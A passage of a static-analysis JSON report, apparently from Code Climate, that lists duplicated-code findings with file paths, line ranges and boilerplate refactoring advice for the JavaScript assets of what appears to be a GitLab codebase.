refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":423,"end":426}},"remediation_points":330000,"other_locations":[{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":63,"end":66}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3cf8b42abcd81551bbf1d4b6a86a23ec","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/filtered_search/filtered_search_dropdown_manager.js","lines":{"begin":223,"end":224}},"remediation_points":330000,"other_locations":[{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":564,"end":565}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9b59a169ec24710bb17e53176d9f6484","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":564,"end":565}},"remediation_points":330000,"other_locations":[{"path":"app/assets/javascripts/filtered_search/filtered_search_dropdown_manager.js","lines":{"begin":223,"end":224}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"629f61554a8bb6a8eb033206d609a01e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/gl_form.js","lines":{"begin":93,"end":95}},"remediation_points":330000,"other_locations":[{"path":"app/assets/javascripts/gl_form.js","lines":{"begin":96,"end":98}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"a37da012d8b9134f9c2c07cbe6e5df45","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/gl_form.js","lines":{"begin":96,"end":98}},"remediation_points":330000,"other_locations":[{"path":"app/assets/javascripts/gl_form.js","lines":{"begin":93,"end":95}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"a37da012d8b9134f9c2c07cbe6e5df45","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":48,"end":52}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":68,"end":72}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ad4849cc4103d257a75a53f533f93f88","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":68,"end":72}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":48,"end":52}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ad4849cc4103d257a75a53f533f93f88","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/models/project.js","lines":{"begin":1,"end":6}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/boards/models/milestone.js","lines":{"begin":1,"end":6}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"63e808e699724c7876463b889a910d69","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/models/milestone.js","lines":{"begin":1,"end":6}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/boards/models/project.js","lines":{"begin":1,"end":6}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2d888235869b541141524699d46a10fe","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diffs/store/mutations.js","lines":{"begin":142,"end":143}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/diffs/store/actions.js","lines":{"begin":139,"end":139}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"a5d03fc520fddde3ecc4ff06b86c9a0d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diffs/store/actions.js","lines":{"begin":139,"end":139}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/diffs/store/mutations.js","lines":{"begin":142,"end":143}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5a0bd2adf62a695699f94e1cef624dd7","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":73,"end":76}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":78,"end":81}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1dc35d639071fed3c333a47b9c544d56","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":78,"end":81}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":73,"end":76}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1dc35d639071fed3c333a47b9c544d56","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":234,"end":240}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":260,"end":266}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum 